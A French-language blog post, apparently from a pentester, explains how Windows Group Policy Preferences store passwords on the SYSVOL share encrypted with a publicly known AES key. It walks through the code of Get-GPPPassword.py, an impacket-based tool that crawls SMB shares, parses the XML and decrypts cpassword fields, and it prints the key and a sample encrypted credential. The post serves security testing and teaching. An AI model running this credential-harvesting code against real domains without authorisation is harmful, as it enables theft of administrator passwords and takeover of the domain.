Exploitation des préférences de stratégie de groupe sous Windows

Table des matières :

Introduction

Dans cet article, j’exposerai les dangers de l’utilisation des Préférences de stratégie de groupe (GPP) pour stocker les mots de passe dans un domaine. Comme mentionné sur adsecurity.org, le premier article sur le sujet aurait été publié en 2012 par @emiliengirault. J’expliquerai ensuite comment nous avons créé l’outil Get-GPPPassword.py avec @Shutdown pour aider à trouver et déchiffrer automatiquement les mots de passe des préférences de stratégie de groupe.

Que sont les préférences de stratégie de groupe

Les préférences de stratégie de groupe (GPP) sont une extension des stratégies de groupe, utilisées pour remplacer une préférence sur un groupe de machines. Elles sont accessibles par tous les utilisateurs authentifiés, dans des fichiers XML en lecture seule dans le partage SYSVOL du contrôleur de domaine. Ces politiques peuvent être particulièrement intéressantes pendant les pentests, car elles peuvent contenir des informations utiles telles que des mots de passe. Dans la section suivante, nous nous concentrerons sur la manière dont les mots de passe sont stockés dans les fichiers XML des Group Policy Preferences.

Stockage des mots de passe dans les préférences de stratégie de groupe

Étant donné que n’importe quel utilisateur peut accéder à ces préférences de stratégie de groupe (GPP), les informations d’identification ne sont pas stockées en clair dans les fichiers XML. Enfin … en quelque sorte. Les informations d’identification sont chiffrées en AES-CBC et stockées dans le champ cpassword des attributs Properties dans les fichiers XML comme celui-ci:

<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{e18bd30b-c7bd-c99f-78bb-206b434d0b08}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
		<Properties action="U" newName="ADSAdmin" fullName="" description="" cpassword="RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthonty="RID_ADMIN" userNarne="Administrator (built-in)" expires="2015-02-17" />
	</User>
</Groups>

Ce système ne serait pas si mauvais, si seulement Microsoft ne publiait pas la clé privée AES sur MSDN pour déchiffrer le mot de passe. Oh attendez … Ils l’ont fait:

MSDN GPP AES Key

La clé AES des champs cpassword des préférences de stratégie de groupe est:

4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

Cette clé AES est toujours utilisée pour chiffrer les mots de passe des champs cpassword des préférences de stratégie de groupe, avec un vecteur d’initialisation nul (IV). Par conséquent, il n’y a plus aucune sécurité dans ce système de stockage pour les informations sensibles, telles que les informations d’identification. Puisque tous les utilisateurs authentifiés ont un accès en lecture au partage SYSVOL, n’importe peut rechercher des fichiers XML contenant des Properties avec des champs cpassword, contenant les mots de passe chiffrés en AES-CBC.

Création de l’outil Get-GPPPassword

Maintenant que nous savons comment les mots de passe sont stockés dans les préférences de stratégie de groupe, nous avons décidé avec Shutdown de développer un outil, basé sur impacket, visant à chercher et déchiffrer automatiquement les mots de passe présents dans ces fichiers XML. Alors nous avons créé Get-GPPPassword.py !

Cet outil est composé de trois parties principales:

J’expliquerai ces parties plus en détail dans les sections suivantes.

Recherche de fichiers XML dans les dossiers partagés

La première chose dont nous avions besoin dans cet outil est de trouver des chemins vers les éventuels fichiers de préférences de stratégie de groupe XML dans les partages (SYSVOL ou autres). Pour ce faire, nous avons utilisé un algorithme de recherche en largeur pour rechercher récursivement les fichiers XML dans les dossiers partagés.

def find_cpasswords(self, base_dir, extension='xml'):
    # Breadth-first search algorithm to recursively find .extension files
    files = []
    searchdirs = [base_dir + '/']
    while len(searchdirs) != 0:
        next_dirs = []
        # Iterating on directories to crawl
        for sdir in searchdirs:
            # Iterating on crawl results of depth 1
            for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None):
                if sharedfile.get_longname() not in ['.', '..']:
                    if sharedfile.is_directory():
                        # Found directory, saving for next search in searchdirs
                        next_dirs.append(sdir + sharedfile.get_longname() + '/')
                    else:
                        if sharedfile.get_longname().endswith('.' + extension):
                            # Found matching XML file
                            # TODO: parse file & show results
                            pass
                        else:
                            # Found other file
                            pass
        searchdirs = next_dirs
    return files

Maintenant que nous pouvons trouver des fichiers XML dans les partages, nous devons analyser ces fichiers. C’est ce que nous étudierons dans la partie suivante.

Lecture et analyse des fichiers à la volée

Une des choses que nous voulions avec Shutdown, est de pouvoir ouvrir les fichiers XML directement à la volée, sans monter le partage. Le montage d’un partage n’est pas possible sans droits spéciaux dans les conteneurs Docker, et nous voulions que notre outil puisse fonctionner correctement dans Exegol.

Nous avons décidé d’ouvrir les fichiers à la volée, sans monter le partage. Pour ce faire, nous avons lu le code soumis dans cette pull request d’impacket, où mxrch a utilisé des objets BytesIO pour ouvrir les fichiers sans monter le partage.

Grâce à cela, nous avons créé la fonction parse suivante:

def parse(self, filename):
    results = []
    filename = filename.replace('/', '\\')
    fh = BytesIO()
    try:
        # opening the files in streams instead of mounting shares allows for running the script from
        # unprivileged containers
        self.smb.getFile(self.share, filename, fh.write)
    except SessionError as e:
        logging.error(e)
        return results
    except Exception as e:
        raise
    output = fh.getvalue()
    encoding = chardet.detect(output)["encoding"]
    if encoding != None:
        filecontent = output.decode(encoding).rstrip()
        # Do parsing here
    else:
        # Output cannot be correctly decoded
        fh.close()
    return results

Cette fonction gère la lecture du fichier, ainsi que l’analyse du XML. Maintenant que nous avons récupéré le contenu du fichier, il est temps de déchiffrer ces champs cpassword!

Déchiffrement des champs cpassword

Passons à la partie amusante! Déchiffrer les champs cpassword chiffrés en AES trouvés dans les fichiers XML!

# AES Key : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
# Fixed null IV
iv = b'\x00' * 16
# Padding the ciphertext
pad = len(pw_enc_b64) % 4
if pad == 1:
    pw_enc_b64 = pw_enc_b64[:-1]
elif pad == 2 or pad == 3:
    pw_enc_b64 += '=' * (4 - pad)
pw_enc = base64.b64decode(pw_enc_b64)
# Create context
ctx = AES.new(key, AES.MODE_CBC, iv)
# Decryption
password = unpad(ctx.decrypt(pw_enc), ctx.block_size).decode('utf-16-le')
print(password)

Avec cette partie, nous sommes maintenant en mesure de déchiffrer avec succès les champs cpassword des fichiers XML des préférences de stratégie de groupe! Il est maintenant temps de tout regrouper.

Regroupement des différentes parties

En combinant toutes ces parties, nous avons construit un script nommé Get-GPPPassword.py. Nous avons soumis une pull request aux scripts d’exemple d’impacket, et elle a été acceptée! Shutdown a également inclus notre outil dans Exegol!

Voici une petite démonstration de cet outil sympa en action:

Références